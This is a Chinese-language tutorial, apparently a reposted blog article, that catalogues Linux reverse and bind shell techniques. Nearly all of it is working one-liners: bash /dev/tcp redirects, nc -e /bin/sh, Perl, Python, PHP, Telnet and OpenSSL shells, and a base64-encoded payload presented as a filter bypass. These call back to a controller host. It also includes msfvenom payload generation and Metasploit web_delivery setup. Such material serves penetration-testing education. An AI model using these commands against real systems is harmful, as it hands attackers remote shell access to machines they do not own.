Linux反弹shell

admin 2021年8月27日14:32:17评论90 views字数 3926阅读13分5秒阅读模式

Linux反弹shell

/01 bash -i反弹

一,命令分解

前置知识

文件描述符:

0 —————- 标准输入

1 —————– 标准输出

2 —————– 标准错误输出

重定向符:

1
> ------------ 更改标准输出
1
< ------------ 更改标准输入

1.bash shell

1
bash -i

2.bash输出重定向

1
bash -i > /dev/tcp/192.168.1.129/6666

被控制端:

image-20201128153313775

控制端:

image-20201128153345399

可以发现对方的回显会弹到我们这。说明它只把回显反弹而不会让我们本机运行shell

3.bash输入重定向

1
bash -i < /dev/tcp/192.168.1.129/6666

控制端:

image-20201128153810018

被控制端:

image-20201128153830648

可以看到执行命令后,控制端可以执行命令,但是回显在被控制端。

4.完整的bash反弹shell语句(1)

1
bash -i > /dev/tcp/192.168.1.129/6666 0>&1

控制端:

image-20201128154959458

被控制端:

image-20201128155021582

发现不管是输入输出都可以反弹到控制端

5.完整的bash反弹shell语句(2)

1
bash -i &> /dev/tcp/192.168.1.129/6666 0>&1

控制端:

image-20201128155540284

被控制端:

image-20201128155613061

发现连命令root@kali都能显示在控制端

6.完整的bash反弹shell语句(3)

1
bash -i > /dev/tcp/192.168.1.129/6666 0>&1 2>&1

控制端:

image-20201128160025236

被控制端:

image-20201128160047776

二,NC反弹shell

1.NC的正向shell

被控制端:

1
nc -lvvp 6666 -e /bin/sh

image-20201128161257537

控制端:

1
nc 192.168.1.130 6666

image-20201128161313313

原理:被控制端nc将/bin/sh推到本地6666端口,控制端连接对方端口从而获得shell

正向连接,需要我们主动连接被控制方。

2.NC反弹shell

控制端:

1
nc -lvvp 6666

image-20201128162607092

被控制端:

1
nc -e /bin/sh 192.168.1.129 6666

image-20201128162526168

原理:被控制端使用nc携带/bin/sh 连接控制端

反弹shell:被控制端主动连接我们从而绕过防火墙。

三,Bash反弹shell

1.bash -i参与

被控制端:

1
2
3
bash -i >& /dev/tcp/192.168.1.129/6666 0>&1

bash -i > /dev/tcp/192.168.1.129/6666 0>&1 2>&1

or

1
bash -i > /dev/tcp/192.168.1.129/6666 0>&1

前者输出重定向携带&后者不含,区别在于标准命令的root@kali:~#

image-20201128163533640

image-20201128163518250

2.bash -i掩饰

1
exec 5<>/dev/tcp/192.168.1.129/6666;cat <&5 | while read line; do $line 2>&5 >&5;done

被控制端:

image-20201128165718764

控制端:

image-20201128170350557

3.base64编码绕过

1
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"

编码推荐网站

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

Msfvenom

1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.129 lport=6666 -f raw

image-20201128194823381

payload在对方机器运行:

image-20201128194905271

image-20201128194841075

5.Perl

1
perl -e 'use Socket;$i="192.168.1.129";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

控制端:

image-20201128192647367

被控制端:

image-20201128192705905

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.129:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

控制端:

image-20201128193336106

被控制端:

image-20201128193354407

6.Python

1
2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.129",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

控制端:

image-20201128194102719

被控制端:

image-20201128194124187

msf

控制端:

1
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=6666 -f raw

image-20201129143247089

监听

1
handler -p python/meterpreter/reverse_tcp -H 192.168.1.129 -P 6666

image-20201129143330761

image-20201129143415833

被控制端:

image-20201129143226570

Web delivery

控制端:

1
2
3
4
5
6
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set target 0
msf6 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lport 6666
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.1.129
msf6 exploit(multi/script/web_delivery) > exploit -j

image-20201129144158184

被控制端:

image-20201129144224199

7.PHP

控制端:

image-20201129144725402

image-20201129144741838

被控制端:

1
php -r '$sock=fsockopen("192.168.1.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

image-20201129144803978

Msfvennom反弹shell
1
msfvenom -p php/bind_php lport=6666 -f raw > bind_php.php
web_delivery反弹shell

控制端:

1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/multi/script/web_delivery 
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 1
target => 1
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.1.129
lhost => 192.168.1.129
msf6 exploit(multi/script/web_delivery) > set lport 6666
lport => 6666
msf6 exploit(multi/script/web_delivery) > exploit -j

image-20201129145411165

被控制端:

image-20201129145436162

8.Ruby

1
msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw

9.Telnet

控制端:

1
2
nc -lvvp 5555
nc -lvvp 6666

image-20201129150725459

被控制端:

1
telnet 192.168.1.130 5555 | /bin/bash | telnet 192.168.1.130 6666

image-20201129150715269

控制端:

image-20201129151029468

被控制端:

1
2
rm -f a && mknod a p && telnet 192.168.1.130 6666 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet 192.168.1.130 6666 0<a | /bin/bash 1>a

image-20201129151013496

10.OpenSSL

生成密钥

1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

启动监视器

1
openssl s_server -quiet -key key.pem -cert cert.pem -port 443

被控端运行

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

11.Refer

https://medium.com/@int0x33/day-43-reverse-shell-with-openssl-1ee2574aa998

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: MOCTF write up

萌新第一次写wp,今天发现了moctf这个平台,顺手点进去做了几个简单的萌新题目。 已是深夜,先写一点点。写的不好请见谅。 WEB 签到 question:欢迎加入MOCTF官方交流群:620047348 answer:加群得flag。 一道水题 questi…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月27日14:32:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux反弹shellhttp://cn-sec.com/archives/475103.html

发表评论

匿名网友 填写信息